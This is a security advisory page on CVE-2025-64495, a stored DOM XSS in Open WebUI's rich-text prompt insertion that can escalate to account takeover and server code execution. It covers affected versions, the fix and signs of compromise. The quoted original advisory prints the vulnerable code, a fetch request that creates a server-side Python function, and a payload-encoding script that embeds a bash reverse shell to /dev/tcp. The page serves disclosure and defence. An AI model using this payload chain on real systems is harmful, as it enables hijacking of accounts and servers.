AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2025-64495: Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

highCVSS 3.1 8.7GHSA-w7xj-8fx7-wfch

Open WebUI up to 0.6.34 has a stored DOM XSS in the prompt insertion code. When a user has "Insert Prompt as Rich Text" turned on, running a poisoned prompt's slash command runs the attacker's JavaScript in their session. For an admin this leads to server code execution. Fixed in 0.6.35.

Published Nov 7, 2025 · Updated Nov 27, 2025 · Analysis Nov 9, 2026

What an attacker can do

In RichTextInput.svelte, replaceCommandWithText() converts the prompt body with marked.parse() and assigns the result to tempDiv.innerHTML. marked does not sanitise HTML. A user who may create prompts can store a payload such as an img tag with an onerror handler. It fires when another user types the prompt's / command in chat.

The script runs with the victim's session. It can read the session token from localStorage and send it to the attacker, which takes over the account. If the victim is an admin, the script can call /api/v1/functions/create to add a Python function. Open WebUI runs Functions on the server, so this gives remote code execution. The reporter got around marked's quote handling by building strings with String.fromCodePoint and showed a reverse shell.

Two conditions limit it. Creating prompts needs the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission, which low-privilege users lack by default. The victim must also have the rich-text setting enabled, which is off by default.

Who is affected

Open WebUI 0.6.34 and earlier, from both the pip and npm packages. The exposure needs both a user or group allowed to create workspace prompts and users who enabled Insert Prompt as Rich Text in their settings. Check the version:

pip show open-webui

For Docker, check the image tag. The version also shows in the web UI under About.

open-webui

Ecosystem
npm
Affected
<= 0.6.34
Fixed in
0.6.35
Check
npm ls open-webui

open-webui

Ecosystem
PyPI
Affected
<= 0.6.34
Fixed in
0.6.35
Check
pip show open-webui

How to fix it

Upgrade to 0.6.35:

pip install --upgrade "open-webui>=0.6.35"

The fix is commit eb9c4c0e358c274aea35f21c2856c0a20051e5f1. It passes the output of marked.parse() through DOMPurify.sanitize() before inserting it into the editor. Docker users should pull a newer image tag.

Until you upgrade, the advisory's caveats point to two mitigations: do not grant the workspace prompt-creation permission to untrusted users, and turn off Insert Prompt as Rich Text. These come from the stated preconditions, not from a separate vendor workaround.

How to tell if you were hit

Review the stored prompts in the workspace for HTML in the prompt body, especially img, script or svg tags, onerror handlers, or long strings of String.fromCodePoint calls. Check who holds the prompt-creation permission. On the server, look for newly created Functions that you did not add, created through POST /api/v1/functions/create, and check their code for os.system or subprocess use. Look for logins from new addresses that reuse a session token.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt.

Details

The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348

	export const replaceCommandWithText = async (text) => {
		const { state, dispatch } = editor.view;
		const { selection } = state;
		const pos = selection.from;

		// Get the plain text of this document
		// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');

		// Find the word boundaries at cursor
		const { start, end } = getWordBoundsAtPos(state.doc, pos);

		let tr = state.tr;

		if (insertPromptAsRichText) {
			const htmlContent = marked
				.parse(text, {
					breaks: true,
					gfm: true
				})
				.trim();

			// Create a temporary div to parse HTML
			const tempDiv = document.createElement('div');
			tempDiv.innerHTML = htmlContent;                                          // <---- vulnerable

User controlled HTML from the prompt body is assigned to tempDiv.innerHTML without (meaningful) sanitisation. marked.parse introduces some character limitations but does not sanitise the content, as stated in their README.

PoC

Create a custom prompt as follows:

Via settings, ensure 'Insert Prompt as Rich Text' is enabled:

Run the command /poc via a chat window.

Observe the alert is triggered.

RCE

Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.

This can be accomplished by making them run the following fetch request:

fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})

This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes

To get around this strings must be manually constructed from their decimal values using String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:

payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"")

An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker.

Impact

Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.

Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.

Caveats

Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions

A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.

Remediation

Sanitise the user controlled HTML with DOMPurify before assigning it to .innerHtml

Credited to gg0h.

Questions

Is Open WebUI affected if Insert Prompt as Rich Text is off?

No. The advisory says users with that setting disabled are unaffected, and the setting is off by default. The vulnerable code runs only in the rich-text insertion path.

Can any user plant the payload?

Only users with the prompt-creation permission, USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS. Low-privilege users do not have it by default, but admins can grant it through a group.

How does an XSS become RCE?

An admin who triggers the payload runs the script with admin rights. It creates a Python Function through the API, and Open WebUI executes Functions on the server.

Which version fixes CVE-2025-64495?

0.6.35. All versions up to and including 0.6.34 are affected.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries